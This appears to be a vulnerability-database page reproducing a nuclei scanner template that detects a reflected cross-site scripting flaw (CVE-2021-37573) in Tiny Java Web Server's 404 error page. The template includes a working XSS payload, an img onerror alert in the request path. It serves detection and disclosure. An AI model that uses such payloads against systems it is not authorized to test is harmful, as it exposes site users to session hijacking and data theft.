Lucene search
K

Tiny Java Web Server - Cross-Site Scripting

🗓️ 02 Jul 2026 09:36:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 31 Views

A reflected cross-site scripting vulnerability in the web server Tiny Java Web Server (TJWS) <=1.115 allows injection of malicious code on the server's "404 Page not Found" error page, posing a risk of data theft, session hijacking, or website defacement

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-37573
9 Aug 202116:37
circl
CNNVD
TTiny Java Web Server 跨站脚本漏洞
9 Aug 202100:00
cnnvd
CVE
CVE-2021-37573
9 Aug 202112:42
cve
Cvelist
CVE-2021-37573
9 Aug 202112:42
cvelist
NVD
CVE-2021-37573
9 Aug 202113:15
nvd
OSV
CVE-2021-37573
9 Aug 202113:15
osv
Packet Storm
Tiny Java Web Server 1.115 Cross Site Scripting
14 Aug 202100:00
packetstorm
Prion
Cross site scripting
9 Aug 202113:15
prion
RedhatCVE
CVE-2021-37573
22 May 202518:40
redhatcve
id: CVE-2021-37573

info:
  name: Tiny Java Web Server - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/13
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37573
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-042.txt
    - http://seclists.org/fulldisclosure/2021/Aug/13
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37573
    cwe-id: CWE-79
    epss-score: 0.03398
    epss-percentile: 0.87358
    cpe: cpe:2.3:a:tiny_java_web_server_project:tiny_java_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tiny_java_web_server_project
    product: tiny_java_web_server
  tags: cve2021,cve,xss,tjws,java,seclists,tiny_java_web_server_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404
# digest: 4a0a00473045022100af817fd631ff8b9e3ddaa97dfcfce35c959e68bd95ef80e7513f136672302cfe022018a4628e5678b147615e47be18b014f9a241d2fa71b13417b0592d79180cd7b3:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.03398
31